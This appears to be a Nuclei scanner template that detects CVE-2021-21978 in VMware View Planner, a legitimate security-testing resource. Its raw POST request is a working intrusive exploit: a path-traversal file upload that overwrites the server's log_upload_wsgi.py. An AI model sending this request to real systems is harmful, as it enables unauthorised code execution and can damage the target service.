id: CVE-2021-21978 info: name: VMware View Planner <4.6 SP1- Remote Code Execution author: dwisiswant0 severity: critical description: | VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container. remediation: | Upgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability. reference: - https://twitter.com/osama_hroot/status/1367258907601698816 - https://nvd.nist.gov/vuln/detail/CVE-2021-21978 - https://www.vmware.com/security/advisories/VMSA-2021-0003.html - http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-21978 cwe-id: CWE-20 epss-score: 0.97392 epss-percentile: 0.9989 cpe: cpe:2.3:a:vmware:view_planner:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vmware product: view_planner tags: cve,cve2021,vmware,rce,packetstorm,fileupload,intrusive http: - raw: - | POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS Accept: text/html Referer: {{BaseURL}} Connection: close ------WebKitFormBoundarySHHbUsfCoxlX1bpS Content-Disposition: form-data; name="logfile"; filename="" Content-Type: text/plain POC_TEST ------WebKitFormBoundarySHHbUsfCoxlX1bpS matchers-condition: and matchers: - type: dsl dsl: - "len(body) == 28" - type: word part: body words: - "File uploaded successfully." - type: status status: - 200 # digest: 4a0a00473045022052bfcdddf40c08b77773a25c0deafa100c49414f36c73e3f452963edd317e0520221008e98cf669d938b8b5e512fd77a965c4d326a21aeac626e111db5f83215124a7b:922c64590222798bb761d5b6d8e72950